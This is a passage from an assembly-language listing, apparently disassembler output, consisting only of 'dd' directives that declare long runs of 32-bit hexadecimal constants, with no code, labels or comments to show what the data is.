		dd 61CFA122h, 3CC341FDh
		dd 0E138C2D9h, 0A04CCA98h, 480E671Dh, 86FF9146h, 0E290150h
		dd 4195117Ch, 0D1A9865Fh, 0A20068C4h, 73FE99F8h, 15A80B4h
		dd 141D3813h, 20AFE922h, 0EF7B6D22h, 4F465C00h,	2A534A60h
		dd 98BF3F10h, 43259D96h, 486EF643h, 0B7305890h,	465E8E00h
		dd 0DE42BDB5h, 0A310001h, 3AEBE7D9h, 4100E0EDh,	0FAF33499h
		dd 0B74EDFh, 0C1A9DE88h, 62F5583Bh, 0E738C818h,	88280h
		dd 9269B943h, 5345B795h, 0C0016D21h, 0B33EE2FBh, 5A5ECE1Ch
		dd 9E41B9C0h, 24AA09h, 0B5D27717h, 0E2510D8h, 0B41E19EEh
		dd 9E8F1513h, 4D41E5D4h, 0F24A014h, 63470A5Bh, 12A1702h
		dd 405684A0h, 0FC71F907h, 423E73FAh, 7ECE05B4h,	9C05125Fh
		dd 0D846E22Eh, 0CF0827F0h, 96853920h, 38880073h, 3C1AB099h
		dd 2F82C806h, 1518617Ah, 842430F0h, 0B13FCEC0h,	8024C0B6h
		dd 7F00587Ah, 0FF23AEFAh, 243D7ED7h, 48925Bh, 409E485h
		dd 156166A7h, 1C3C3978h, 0C5C9FC50h, 0E7CF0030h, 52C683F7h
		dd 0F8FC8B7Ah, 128CD90Fh, 0DBC383EEh, 14D000FAh, 419671B5h
		dd 9E1F286Fh, 0F0054C12h, 8440DFE0h, 94999A81h,	5FBF0004h
		dd 0B663F972h, 2548FF57h, 12EA00ACh, 60B4555Dh,	5CB0010h
		dd 0E8D539BBh, 0AF0785E9h, 54C2F373h, 7DE63660h, 0FAC24D4h
		dd 7C170010h, 94A7770Dh, 320CC7F4h, 40D3C3C9h, 2903617Dh
		dd 8F95B9B7h, 4C4407A0h, 22CCE90Dh, 4500E94Dh, 6E107919h
		dd 4263111h, 5815ECB9h,	1D6480BEh, 4750D724h, 0A70F4AC8h
		dd 0F46BBA28h, 486018C4h, 1574FFB1h, 30335B94h,	581992C0h
		dd 0E2733909h, 457F2484h, 6F083B1Ch, 39023D10h,	406E1A7Ah
		dd 0EAAF9448h, 3BBC90EDh, 48C92492h, 3D66A609h,	3EF52002h
		dd 8A019600h, 92A801FEh, 6B77CCC0h, 1410360Fh, 0F43C50h
		dd 0B35BC016h, 0F2D5DDD4h, 0AE372857h, 1CD006E4h, 5046B6DAh
		dd 6F0EEBF4h, 852034A8h, 0A00738C6h, 40083C0Fh,	813AE76Ch
		dd 0A5132C00h, 0AC756179h, 480B28FBh, 46640098h, 19C00DDCh
		dd 9C3D4EDEh, 0BF1619BAh, 8C374570h, 0D5D8D0Ch,	330210F9h
		dd 9B9DA41Ch, 1D504E46h, 9F7C17Fh, 0D88460EFh, 52AE4001h
		dd 0FE196Fh, 4746CDCFh,	4622874h, 0BA9F9100h, 7AF34A54h
		dd 6AB4A026h, 7E2CE844h, 0E96000D1h, 3776B06h, 62246612h
		dd 96808CA0h, 0F02B74F3h, 78CE005Dh, 47C625DBh,	8490133Dh
		dd 0A2CF9209h, 0DB82171h, 0B1888C90h, 0C83304Bh, 0EC4ECFCh
		dd 0D1EF1DE9h, 10EB3466h, 891A10Ch, 177F8ABh, 0F91F192Dh
		dd 20582969h, 78244DB0h, 0EF830821h, 0C8FD6016h, 0E069BBCAh
		dd 0AEEFC26h, 36FEA7BAh, 804D06E4h, 94043113h, 0F6576AAAh
		dd 64268180h, 643548C9h, 20FB3450h, 0B2005904h,	0CCB910A5h
		dd 4D7D8FF7h, 0FD0014FCh, 0C4083926h, 657F9CC7h, 70A4202Ch
		dd 0C22C8807h, 78C80A03h, 642A3CA9h, 0AF933D0Ah, 9988408h
		dd 9E1B20AEh, 39B400FDh, 8A919B60h, 9002C801h, 2747740Bh
		dd 0A8BCA0C2h, 1D081F06h, 4039E2BAh, 0C0D6AA83h, 4907F05Dh
		dd 2ADE5918h, 2FCAAFD0h, 0D8B1DAF2h, 32092C8Ch,	0FF8B1709h
		dd 4704A015h, 750FA4Fh,	0C08996D6h, 38B092A3h, 1CBE480h
		dd 0B4282C4Ch, 0DD00E05Fh, 0FACFC29Ah, 42E3EA2h, 0DAE2822Bh
		dd 847C8006h, 92032580h, 29A61644h, 223A019h, 0AE0112A1h
		dd 8B2028E7h, 0C8027D41h, 1DC84830h, 20240AC8h,	0A04D7Ah
		dd 1938847Dh, 0B71E4A52h, 6D8A0A68h, 202D00Ch, 80BA26A9h
		dd 5E3014ACh, 0C5BB899h, 0CB55461Bh, 0D0FDF50h,	40250FA3h
		dd 0CDDC32D1h, 61480FF6h, 440D547h, 120FAF77h, 0B4D9CA0Ah
		dd 7853020h, 0A007022Ah, 4834A7h, 37659A7Dh, 9E3A8CEAh
		dd 2E30F98Dh, 62463041h, 0BF8900FBh, 0C6FF524h,	5658675Fh
		dd 0DE14004Eh, 0EDBC4F64h, 6EB0C2BEh, 0CC80B039h, 74575377h
		dd 1FE45F1Dh, 0C0996C8Fh, 917D4250h, 6DF600D3h,	0A2F2BAA1h
		dd 46009293h, 3F1E3845h, 0FBA4ACh, 8DF95635h, 0DA81641Ah
		dd 0EB005E7Fh, 0E68FC312h, 399F7Ch, 0D572800Fh,	0C04FB086h
		dd 8EA74C00h, 287B3653h, 7A330385h, 22733F6Ch, 0DB9BC0B4h
		dd 0E5075B2Ch, 58430E11h, 0C72DD3B0h, 491C0F4Bh, 0C920D5C2h
		dd 0EA2F24A5h, 0B701F107h, 42805955h, 5029F225h, 7C0ADA31h
		dd 0C1FA65h, 8F7C676Fh,	0BBDFF4DAh, 0A34C8600h,	8302BE1h
		dd 0D739007Bh, 0ACAFF348h, 8E00E726h, 0B7EDFAEFh, 59F5EF8h
		dd 0BC6064A4h, 881D58h,	43937B3Bh, 2200FEBAh, 57EC05CFh
		dd 75FD4Ah, 1F6BB6DCh, 0EBC943FAh, 0BC0055E6h, 6F4B4D81h
		dd 0A73E91h, 68CDD92Eh,	36AF1961h, 7700D7EEh, 0B1A95AEBh
		dd 0C8C176h, 8756855h, 7A17940Fh, 331F5C00h, 26586088h
		dd 0E5EF0032h, 780A3B02h, 28F2DE45h, 0C800B1ECh, 21D43F64h
		dd 52D351h, 4BE433BFh, 0BBEB16F5h, 7E1533Dh, 0E613B830h
		dd 0F80FE280h, 98BC0002h, 7B739FBDh, 0C8078D88h, 0AC4C0EC5h
		dd 4B580AC0h, 0C97153h,	1A92DF09h, 305B10A4h, 0B9FAD67Bh
		dd 70654858h, 54C34100h, 520FE672h, 38000CDh, 0A0DE26D8h
		dd 0E307676Ch, 654E10A6h, 0F9EC20B3h, 0A8CF3449h, 91507Dh
		dd 0E2B140F4h, 0D6D13BE4h, 159A4D00h, 3302830Dh, 0C00C0428h
		dd 0C0A35591h, 4CFDFFB4h, 2F0051F8h, 0BBA1EC45h, 0B041E4h
		dd 2B12C39Bh, 0BE6F9CA7h, 0B3EB2909h, 82048F13h, 4079CB7Fh
		dd 0AA2EE0h, 0BA293E21h, 56DFF1ECh, 0FDD1DA00h,	0A97B6A63h
		dd 0D610001Fh, 2441A11Ch, 0CD00A4AEh, 834ED959h, 79113BF7h
		dd 7A6D02DFh, 3317B162h, 0DD5ADAC0h, 1083B500h,	0BF9A199h
		dd 64950076h, 0E5AE97CCh, 7100FF46h, 1449B1EBh,	4139DAh
		dd 0AA666540h, 5F5DA6A4h, 804CAC3Dh, 0CD8CBB6Eh, 5073F7Ch
		dd 835A0143h, 4B4C808Bh, 0E7003458h, 23A3C31Bh,	279C05h
		dd 0F06E8CF3h, 8A494E55h, 565A9A01h, 7E3FD65Dh,	3761F4h
		dd 4545BB2h, 9AF58FE0h,	0DC3EEA00h, 8884CF56h, 99B5188Bh
		dd 0C8B07E95h, 0F734E000h, 6A628C27h, 0FE09A1Dh, 855E4F35h
		dd 0FF89412Bh, 5B923780h, 5700791Fh, 67A8D0C8h,	73A66CF9h
		dd 950C01E6h, 0C9CA0D24h, 0D8BB16h, 65985380h, 0CC3651h
		dd 7F70A432h, 0E6335A94h, 0B8ECF003h, 0A0C980E5h, 5AFD9B5h
		dd 0F17EF314h, 7DBC1471h, 0CEEBFC00h, 0B0176FA8h, 0CC421900h
		dd 603739DCh, 0BB781DAAh, 0DD8C805Eh, 9D2EE743h, 17592B24h
		dd 9991BF00h, 0DB7F3h, 973C643Fh, 141DBA02h, 0ABE57F1Fh
		dd 8D903580h, 4E3605h, 11DCC70Ah, 0BA722056h, 0AAA85Ch
		dd 0DE545FF8h, 0E6196Ah, 3EC54B24h, 0D1168EE1h,	0C4A00578h
		dd 9B007521h, 0BFBBBD93h, 8ED976h, 0C92C1CC5h, 0FCF94F89h
		dd 31AD0200h, 27DAC0E6h, 4D960E95h, 0FEC0A20Fh,	0CA9ED73Ch
		dd 4021CF00h, 0B87F42B9h, 6817606Dh, 65B12D3Eh,	0C90C3501h
		dd 0BC3309DFh, 3A0E4422h, 8A006859h, 3740AF75h,	52DA40C1h
		dd 0E1E4D7D5h, 0BB3101C2h, 0C6834AF2h, 9790C4E2h, 0E7DD4F00h
		dd 0F94E9A6Bh, 0EC060457h, 0C0C45992h, 91FD169Eh, 48ABF038h
		dd 7B800ECh, 0D7521E40h, 6EE8DDh, 8DE11154h, 0B8F6A110h
		dd 204C9C00h, 0CDB4D037h, 3FA00019h, 0DADEADD2h, 3D05B5C4h
		dd 253BF540h, 0CB32D280h, 563C0038h, 4EEB7967h,	690E47E5h
		dd 6EFAD75Ah, 293FA08Fh, 1DCC49E9h, 800C13F2h, 3394A96Fh
		dd 0EB00A1DEh, 0F8BB9E28h, 237897h, 62D0C3BFh, 0C1F9134h
		dd 0D2408500h, 19B2157Dh
		dd 0CF730E47h, 7A069F0h, 4B71B5A7h, 0E04DA518h,	1653EE92h
		dd 0F0A2F380h, 4C07383Eh, 0EBF22E85h, 0F9592901h, 42E8E02Fh
		dd 0CA0158E8h, 7D1BB335h, 7F20E020h, 0DEC1006Fh, 0A45444C4h
		dd 5007A267h, 3268F7D7h, 7BC76940h, 0A14700A8h,	0AA094306h
		dd 9B057A0Bh, 54AB8F98h, 0BEDB9480h, 1FC50A2Eh,	91F469h
		dd 92741B4Bh, 2A2890BDh, 2F1ED3EBh, 8401FD1Ah, 0C8342CF8h
		dd 0B68E30h, 97835C7h, 0EF74F58h, 0F9F87A00h, 518A8D93h
		dd 53FE008Ch, 0C4801D69h, 65F9772h, 5D4757C0h, 567C005Bh
		dd 0CD90C54Ah, 0EF003F73h, 74C1125Ch, 1F36CC77h, 6AF965h
		dd 0A5F5CE9Eh, 0C4F099F8h, 95B0D58h, 0EA0AC0h, 572439C0h
		dd 0CBFA00D5h, 1CB7B60Eh, 850070A7h, 30117AFBh,	0F78B9D31h
		dd 0C6A030h, 78D18474h,	6C417395h, 34E8B803h, 0A03F3025h
		dd 2AE339h, 2892C62Bh, 0CFAEE456h, 360E482Eh, 26E8D000h
		dd 0BCB81Fh, 9CE1D3DFh,	201B81B4h, 0F1001AFEh, 0F5564EA8h
		dd 7B0DE60h, 288EF40h, 9F80EEFAh, 0BEEE5AB9h, 0EC004AFEh
		dd 5DEB4F23h, 0ADC3A2h,	2895D246h, 3A512C25h, 0D70DCA01h
		dd 3777C218h, 616C0h, 364EA1E7h, 0ADC41563h, 6DCFAC00h
		dd 9D4CF9D2h, 5FE300D9h, 0FBBF62CBh, 6A7EA1C1h,	89F61F3Ch
		dd 5634C7h, 79C6F1A1h, 0FE7B97h, 86669FDCh, 8E01CF67h
		dd 4FFC2B01h, 0C5169C3Ch, 75C2ECh, 8CA6DF4Ah, 0D48DD824h
		dd 25B87A00h, 3208C89Dh, 70BB0F7h, 8CC1E32Dh, 0D8C20021h
		dd 7007D06Fh, 79055EECh, 0BCF02BB0h, 97DF0025h,	158EE5E4h
		dd 7200168Bh, 0A66FD664h, 4E6A31h, 7B071D9Dh, 16EB0AE1h
		dd 4213DB00h, 0D2C2C3D4h, 3ADC00E9h, 0C60FC951h, 0A800FC87h
		dd 6E7D2624h, 0ABC41Bh,	0D3300899h, 0F54249FFh,	0B216B904h
		dd 0B0805D81h, 4C0AA770h, 5B015B39h, 5E8C4A5Ch,	0E036DDC2h
		dd 71019BD8h, 5033D6A1h, 83F49339h, 0F86700AAh,	0D142F490h
		dd 0F730176Ah, 0E589C826h, 14779BBh, 2953233Fh,	0C412A2CDh
		dd 0C600FC9Ah, 0ACF42165h, 3C8EEFFEh, 1980F10Ah, 4AB38DD6h
		dd 0BD98D9A0h, 1330139h, 25A3C9E9h, 0EED85264h,	0F59103C5h
		dd 0E3A05EFAh, 3C56DC3h, 0EF03F1F0h, 9CA2813Eh,	58C095B7h
		dd 62C9BAD1h, 364B5C8Ch, 0D0A1BE00h, 721B0D2h, 6F00AF70h
		dd 0E4602EFFh, 0F0E52575h, 0C0797B57h, 3B82FD10h, 0D001F368h
		dd 2607F2C8h, 0FB379Bh,	0C9D34B61h, 73BC5DA8h, 0C603ABFCh
		dd 0A667D09Fh, 0EF39B845h, 6B180024h, 7BE1CB3Ch, 99ECF73Bh
		dd 4D40BD60h, 1C1D05Fh,	0D897DE81h, 0F429A30Ch,	3D00301Fh
		dd 0F176FCAEh, 0D08FC2h, 4E0A0D8Eh, 0D95C376Eh,	92CC9607h
		dd 0FEC2B9C6h, 0F1C2C02Fh, 12760015h, 44ADBB63h, 980097A8h
		dd 22304C4Ah, 7233B6h, 2A9548Dh, 5A64BDB1h, 0E4FB53F6h
		dd 97032ABFh, 0FD32C639h, 0C222E04Dh, 18A0F4D0h, 0B08D5980h
		dd 693E886Dh, 90B480A1h, 0F6A8DE72h, 8DBCA0D5h,	20100196h
		dd 79F4C089h, 862D434h,	66EC6F00h, 4B4AB82Bh, 18A80001h
		dd 388A73F3h, 0D83077E6h, 0F5D11949h, 0AC80E1Eh, 0C0C06CFEh
		dd 0CE3A789h, 2395EF01h, 0C3F355EEh, 7B9830h, 0C253E18Ah
		dd 83418728h, 0EBD45800h, 4E3D1BC7h, 0C50A0095h, 2D38AE94h
		dd 5200FCC2h, 1C0365B8h, 5F02E77h, 0EA86D985h, 964FC016h
		dd 27F8D39Dh, 0CC4ADB07h, 7C7031E4h, 3078771Dh,	53B8C843h
		dd 5700385Bh, 0F4061F60h, 7C8942FAh, 5D720C1Eh,	12C818C2h
		dd 810F6401h, 83DFA5A9h, 365CECh, 9EBDECF4h, 7855B4CCh
		dd 81A6901Ch, 4AA03200h, 0F86A2C2h, 7565492Fh, 0EA20B5AEh
		dd 0B1F289A8h, 25B49900h, 5DF8DBC3h, 2F160A17h,	0FB8EAC1h
		dd 4B27436Dh, 0B672913Fh, 4C93C81Fh, 5F83CD01h,	30491091h
		dd 540F4h, 82CBBE3Eh, 87637181h, 31BF4C30h, 8A9AF6h, 4E7D7A54h
		dd 0F34D6985h, 0FCDCC100h, 0E58E7217h, 5B810083h, 5ECB38DDh
		dd 4E001A97h, 662915D4h, 0E4F22102h, 4C2A7431h,	162B5E81h
		dd 3F5F801Ch, 90F071C3h, 9B454E00h, 0D1818777h,	41F21420h
		dd 0FDB138C5h, 0ABA6F48Fh, 262E2AEEh, 0C11E0A65h, 166BEC2h
		dd 3896A0h, 0C6CEFCD5h,	58A10A8h, 4F545FF4h, 0B9112510h
		dd 0E50094E8h, 41CEC6E3h, 6653BB81h, 4FF1C748h,	1EA9E9A3h
		dd 14DEC538h, 49F018F3h, 1C00895Eh, 0A58A13CAh,	15CFEB26h
		dd 60B1AC21h, 1939E0A0h, 38C0D271h, 2EE2EB85h, 0C710A082h
		dd 196218FFh, 5A6588B0h, 0DC66922Bh, 44D81160h,	4589C3EDh
		dd 303496E9h, 0DC6C3855h, 322A0C2Bh, 2568868Fh,	0A1C0D450h
		dd 0A8064D2Bh, 7A39D01h, 6085A737h, 78BEB305h, 2808D6A4h
		dd 3FBECAEEh, 0E088D72Bh, 5AD32A46h, 39BC8754h,	0E1668E07h
		dd 21408862h, 0A7F344CFh, 0C9C8264h, 0A52092A7h, 1594081Ch
		dd 0E04DA00Fh, 18B0DBE3h, 8581E19Dh, 54F3FA94h,	53D807F3h
		dd 30C0FFCDh, 98EA9965h, 90D7D8Ch, 4FCA61CEh, 2F05B03Ch
		dd 0C8BF6052h, 6764D440h, 5C010C98h, 501D4AE0h,	7D6104EFh
		dd 62481E3h, 80BC2720h,	0F9B8EBB6h, 2550C7CEh, 0A004290Ch
		dd 0A9BC8807h, 0AB8BA300h, 0FD9B6F96h, 0DCC4004Eh, 88FA144Dh
		dd 77008590h, 24941C17h, 0C76901BDh, 816ECF08h,	0F0D0B11Dh
		dd 2302407Dh, 53C91B73h, 0DE28B8A2h, 0E2300BF1h, 0E080847Ah
		dd 0FB5D8D83h, 52074003h, 322C1DBh, 0FFD52350h,	800303Ah
		dd 1EE36CDAh, 95A718h, 9E573D24h, 454D1AFBh, 2FCA10C3h
		dd 0D33BC1FFh, 0DB88AC07h, 0C06C7C52h, 52F7B132h, 97900704h
		dd 716A45D7h, 0EC1608BBh, 0AE0D5CFBh, 0E89B1B5Dh, 0F8BCBA21h
		dd 0A881B5B3h, 62FD0800h, 0D03821CAh, 5DB8C6CBh, 1A380812h
		dd 46DA0CFBh, 0C05FB8E2h, 21CBFC09h, 0FE7CA698h, 0F968D81Fh
		dd 4989303Ch, 18FF2D5Ah, 40C445BAh, 0ECE1F3B7h,	0B0A12833h
		dd 0FD908692h, 50084F22h, 28DA8432h, 3CC86F30h,	7A009C4Bh
		dd 7B527FE7h, 9BE845E0h, 0EF4B63Eh, 83EB543Ah, 0C0EADF9Ah
		dd 0C69DD7BAh, 189B1D40h, 763A3140h, 0EFFD8011h, 0CCF02D80h
		dd 5A20A708h, 0D7D11441h, 0EE6003E2h, 3CFAE1h, 0CC8161DAh
		dd 41591F48h, 0E5F509C4h, 7332D803h, 1447D9F2h,	567E9281h
		dd 0F7006814h, 52140343h, 7D0115Bh, 5DB1BA9Bh, 0C407A485h
		dd 0FF31189Dh, 0F84F645Ah, 3122D80Fh, 97644792h, 2AF80A2Eh
		dd 1CFB033Ch, 3B9B5AE9h, 1371119h, 65212E70h, 0C86DE0E0h
		dd 9B1E8230h, 0EB7B80F0h, 0F6549028h, 486490A5h, 0DD094034h
		dd 5C00DF39h, 0D821F6F0h, 50318224h, 0DB408C2Bh, 60569D15h
		dd 0EDB7A08Fh, 10A874F3h, 0C8222827h, 4C5715B9h, 3DA028D5h
		dd 0F8498582h, 161571B4h, 0B0B853B8h, 241B332Ah, 94F40232h
		dd 7B0980A0h, 48023991h, 0B48427A2h, 0F8548046h, 8C9CBE8h
		dd 5D0082C0h, 1DC44029h, 3D10C3C6h, 301C69E5h, 9A09F9B9h
		dd 0FD500777h, 0FA2402B9h, 7A0840FEh, 1081636Eh, 9AD8BFA9h
		dd 0C9337A1h, 63A946C0h, 883D3E15h, 0A870379Eh,	0B1E96ACCh
		dd 685B922Ch, 0DE0AB204h, 8C6932CCh, 0BA8ED705h, 0A8191023h
		dd 98EE9E16h, 0BDF7020Ch, 32381DD6h, 12A4EC8Eh,	1D70DE0Dh
		dd 181EB1BFh, 0E3813464h, 81381EC5h, 50622834h,	4D6E903Ch
		dd 0C1E45036h, 0DF7FE6F3h, 4DB7A812h, 8C9AEC0Ah, 186808D0h
		dd 0B81CF083h, 4C48AD57h, 367F154Ch, 0D3D1E088h, 3BE22821h
		dd 77714A8h, 0C526F859h, 0F9FA0418h, 0C9B4C0F7h, 0A37456FEh
		dd 0B3233B00h
		dd 0F478E31Bh, 0EA3DEE1Ch, 4A2100B7h, 0A663413Fh, 220077CFh
		dd 1C5CF3CDh, 0C932AEh,	0BA93CA33h, 0F7B2AF36h,	948028A5h
		dd 5C8D2709h, 1F4A0025h, 0B2B44F2Eh, 0F3F8A031h, 57049A15h
		dd 87A5C01Ch, 805B5452h, 0E57F95FFh, 8E59320Eh,	0E038B427h
		dd 6099CE62h, 9BDFC17Fh, 7275AE91h, 0B2CB600Fh,	73272294h
		dd 3C9682h, 53A5C5A6h, 0BF4A1F27h, 0F02B2A32h, 783896E7h
		dd 60027C6Fh, 179F3028h, 73000981h, 0F2CB4C27h,	30B3D887h
		dd 12C09972h, 55F238CEh, 6F9D903h, 0A3FA4053h, 0BC9F9A93h
		dd 82FA0688h, 0D8B9F1BDh, 70417F07h, 5060B309h,	12592CBh
		dd 0B590D1A5h, 0FC30D2EDh, 0F500D884h, 0F2B4534Fh, 3425BEA9h
		dd 6CD00813h, 6A08FDD8h, 1D520BD8h, 0A02A945Fh,	91819846h
		dd 5730973Fh, 385460D4h, 8A2472AFh, 0CE000C32h,	2DD0D255h
		dd 10D5194Bh, 5A33E8C9h, 24020EA8h, 29450935h, 0B4778018h
		dd 505373D2h, 127BFC0Ah, 7C2810D1h, 831F6620h, 0A2D3F8h
		dd 52AE1081h, 70D2560Ah, 84A0BDFCh, 98780393h, 96545103h
		dd 0C71D5310h, 95DE8240h, 72570550h, 3D3F2B3h, 7E2D15DCh
		dd 0C5710810h, 0D24F5201h, 0F1852090h, 424ED5B5h, 0E9600BC0h
		dd 0C365CEB0h, 8045DB28h, 0C80C69A3h, 48580978h, 7A1F08E8h
		dd 98320A62h, 0D51200A0h, 9AB30CBCh, 0F00F4D76h, 85B454D1h
		dd 0C80024A9h, 32AF5D8Ah, 0B4475052h, 3EC49239h, 0F2095A80h
		dd 9403944Bh, 0D2E05CA5h, 609CB34h, 3D62033h, 12836A3Ch
		dd 1EA8D8h, 7151370h, 1274EA33h, 57DAD34Ch, 6DBC80B4h
		dd 40658CB0h, 50501C22h, 4D67ECFCh, 0D25034A8h,	907CE6F0h
		dd 4BBF054Ch, 352B2B6h,	44A9D0C0h, 4C86D818h, 0EAE018h
		dd 0C7291095h, 0B0851306h, 50288C90h, 1F61A067h, 4C645508h
		dd 672C35E0h, 0C49D0FAh, 6B075BB8h, 85BD730Ah, 0C81AB143h
		dd 0C01B3102h, 3E239108h, 0B6037187h, 92F10AA3h, 0D851C050h
		dd 0F66700B9h, 0D6574FA9h, 36E84ED4h, 3E162840h, 963C559Ah
		dd 176780FCh, 73F9BD00h, 90C88A86h, 79C30061h, 0B7859556h
		dd 1F0E3BA1h, 7F7331DEh, 62AEDB01h, 68BAA7FAh, 0BD16F60Eh
		dd 2885D6C5h, 0D6903320h, 781F8400h, 4AF659DEh,	773900C3h
		dd 0D51A987Dh, 5A035EA4h, 3A64AA40h, 79901193h,	0B7551772h
		dd 4C652C07h, 1C802CCAh, 0EBB6647Dh, 39DE0177h,	0D7510762h
		dd 2190BCC4h, 94B4E0B0h, 38606C07h, 0E9DD19D0h,	56DA0367h
		dd 86BA6362h, 475A479Fh, 0C980CEEAh, 0E71A6B45h, 3A6F9E06h
		dd 0E0B888B5h, 9CAF3Ch,	7BE8ECEAh, 0DF1F4F1Eh, 9303BAF9h
		dd 0A2BC095Ah, 0C50115DAh, 5132CB62h, 0FDD94080h, 4EFA6A1Ah
		dd 79C2FE00h, 0B9C7C087h, 5F060D34h, 1450D49Ah,	5428289Ch
		dd 15DF4711h, 8388B900h, 0A8368E48h, 9BFA980Ah,	3015E8EBh
		dd 4333B024h, 5D120B1h,	0B8E8992Bh, 3C06DE0h, 4E291FBCh
		dd 300415DFh, 0CC4AF1B0h, 4154220h, 628C6859h, 24B8683Ah
		dd 311B651Eh, 4263960h,	0C2BCC6Ch, 0D27D93C4h, 9E001930h
		dd 2EB9BC01h, 32BA67F0h, 0F770968Fh, 0D81A0840h, 0C1F96874h
		dd 641420DEh, 59C79B07h, 0F9419A21h, 39E0ABC4h,	0E842578Fh
		dd 0B1236080h, 0F9800688h, 0B9A40009h, 47FF5099h, 68C07F6Eh
		dd 626DB5FAh, 78DB7B9Ah, 0F5CC005Ah, 0D406D9C1h, 6C1F99C8h
		dd 0AD5268BEh, 893A0802h, 58E080A2h, 6F9C310h, 19C8DC90h
		dd 0B91D10C1h, 79831833h, 265A40Bh, 9A647B38h, 0C4BC4281h
		dd 3C12EAF2h, 0B002F476h, 0BC4346D9h, 0D8D904F4h, 83169D8Bh
		dd 97A0B9F4h, 199059B6h, 0C8FA692Bh, 273D0840h,	9939CF01h
		dd 6C007629h, 39C8559Eh, 0BC743A70h, 0DAA020F3h, 4500F871h
		dd 94E45D6Eh, 14C3EBFAh, 98FD1A8Eh, 0EFB77A0Ah,	0AFAD07E4h
		dd 0E021C35Eh, 5CECF026h, 0EC59438Ah, 68C3B700h, 1B4ABA0h
		dd 0D1083FA9h, 0DC629FAEh, 163D600Bh, 57C007DBh, 0D50B0D9Ch
		dd 0E880D281h, 0EC60F1C3h, 2F007AEh, 91D5FA00h,	0C00DCCBCh
		dd 0D1293E82h, 792EFF01h, 0E7E3319Ch, 0AE1FCEE0h, 189EBF29h
		dd 0ED91CD67h, 0A00033E3h, 754E092h, 23FE610h, 0E7860EF2h
		dd 9DA70630h, 0B0CE0640h, 599F4007h, 6D610F0Eh,	30BDC02Bh
		dd 68EBECh, 76AA54F6h, 0B4F4B89h, 0CDCB6D07h, 55F0675Ah
		dd 0ACFD358Eh, 2C7A001Ch, 93B97E4Ah, 6340AB89h,	4554238Bh
		dd 604F78C0h, 98940EC5h, 3F018B89h, 4B2F6B67h, 0C1890318h
		dd 0A8A0C9h, 5D5F0411h,	907A4D7Bh, 0A41CDCB8h, 0D6FC8B0Eh
		dd 1AA48024h, 18941EBh,	496B9065h, 0FB4B0E98h, 0F2AB8010h
		dd 0B7E1AAF0h, 388A4931h, 8B014A4Bh, 743C0416h,	3BB80C9Bh
		dd 0ABA8FCB6h, 0F3A1A401h, 0ED0D75F7h, 0A8B4C5D0h, 87F12B24h
		dd 0EE2EAB81h, 8B002F37h, 0F307B638h, 0F20A5897h, 0B444DB42h
		dd 0B49A067Ch, 404C677Bh, 0AF02EB70h, 5786CB0Eh, 587CA013h
		dd 614B0FAAh, 23281156h, 2B4F0C12h, 60946C0Dh, 0EE5B3E1Eh
		dd 15CB7A40h, 900DB4E7h, 2AE8C4C0h, 0A90099FFh,	0F271417Ah
		dd 0F820D57Dh, 0CE803A52h, 9CD00E01h, 48A3F0BAh, 3F094118h
		dd 0B23275h, 8416C8F7h,	0D02829CEh, 43DD6718h, 6108D296h
		dd 20B61928h, 3760610h,	11575D60h, 0F1A34506h, 1460D8DBh
		dd 4881C0E8h, 7CEF4205h, 0A607C010h, 9A035A28h,	80AF4CDAh
		dd 271100A7h, 14D5E936h, 1F00E369h, 9D6185FFh, 1C2B5D48h
		dd 3A236C7Dh, 790C2E0Fh, 7DA8B00h, 0EE5292DDh, 0AC348030h
		dd 0D70738h, 0E07FE283h, 0B71D790Ah, 24E8DE7Bh,	801CEF52h
		dd 75615F66h, 157767Eh,	9BE3417Dh, 0FC80A518h, 0B500FF78h
		dd 0BCA2882Ch, 3CF884h,	76B9CDFEh, 7746C5FCh, 0F0135D80h
		dd 53382C9Bh, 0BCB80A69h, 0D454591Ch, 220E4134h, 48BD662Dh
		dd 0C70869FAh, 33EB581Ch, 630E3048h, 88659D38h,	8120D89Bh
		dd 0A5C2138h, 18203C1Ch, 0FD71622Bh, 816B4008h,	70A76E74h
		dd 406CED81h, 66FCD2CEh, 0F03A0EDDh, 6B8898E4h,	0F0592EF0h
		dd 3D2440C4h, 0E4C93004h, 0A47C2758h, 0A8C60A0Ah, 1D00A867h
		dd 78E4D527h, 8070AD1Ch, 0E6ED8C4Eh, 430C293Eh,	70DCE97Dh
		dd 40CC6646h, 181010EAh, 7843D457h, 0A6BE7081h,	5DB984DFh
		dd 4C0DDD77h, 4780F38h,	0C64D1443h, 61E1BD47h, 8AEFD8E4h
		dd 7C6E5709h, 15F2BED0h, 0EC3B0C23h, 1838C47Dh,	0F07C108Dh
		dd 144E27EDh, 0ECE447CAh, 0B07A483Fh, 9DEC8F12h, 6557827Ah
		dd 5500E45Fh, 1D58EE9Eh, 1299392Fh, 0B82C0251h,	0F4BC6FECh
		dd 0CEB36A05h, 0BC0605F5h, 249913Dh, 38ED1266h,	7CB46FCAh
		dd 0DD984206h, 2885895h, 0EDFF7D1Dh, 7CB65618h,	36640B05h
		dd 9803281Eh, 23EDAA7Dh, 35E082F8h, 546C907Eh, 1ABF0E4h
		dd 813FBBEDh, 0FCBC417Bh, 2EEF83A1h, 227B0h, 0C49A5FB4h
		dd 0FD8F6A20h, 0F89CE704h, 80BBA9F9h, 46E5C2D0h, 1BC80205h
		dd 1C60F381h, 205BDBE1h, 0D910AC37h, 811DF53Ah,	0C7820CF6h
		dd 905C210h, 2342793Bh,	36242Ch, 9EBB0DFDh, 0E539F887h
		dd 8E38F76Eh, 0B4A28643h, 0C9822140h, 74A372E0h, 19C1C0F2h
		dd 27B942Ah, 43C2EE40h,	3756C235h, 1EFDE350h, 0C5FF7938h
		dd 6CA3C27Bh, 0EB08857Ch, 0FA2C576h, 7BE3A059h,	384334E2h
		dd 0FBD1C074h, 0C2C08473h, 41E2B938h, 98065105h, 8740CDA2h
		dd 62BC8174h, 7399699h,	90422655h, 9E793A68h, 8C730C74h
		dd 0F939E3ACh, 22909350h, 82B2333h, 0C3F4F32Fh,	0A2CBA8B6h
		dd 0FE480761h, 81C55AE2h
		dd 1E0F502h, 0C2E0802Ah, 1F817C03h, 884922h, 12A93F42h
		dd 0D2070535h, 0C46B43D5h, 88618023h, 82A4BBh, 0E2E6883Dh
		dd 0ED62CB24h, 63A62F40h, 898A70CAh, 241E6029h,	96774A60h
		dd 0C68140B4h, 6E42E840h, 9B8E98B0h, 4F0B08F8h,	562F501h
		dd 73E3D72Dh, 0B4E2C08Ch, 0FD3E8220h, 38C314BFh, 0E6DBB034h
		dd 20F64Ah, 4FA68822h, 54C2D9A1h, 1482E8C4h, 0E018A73Ch
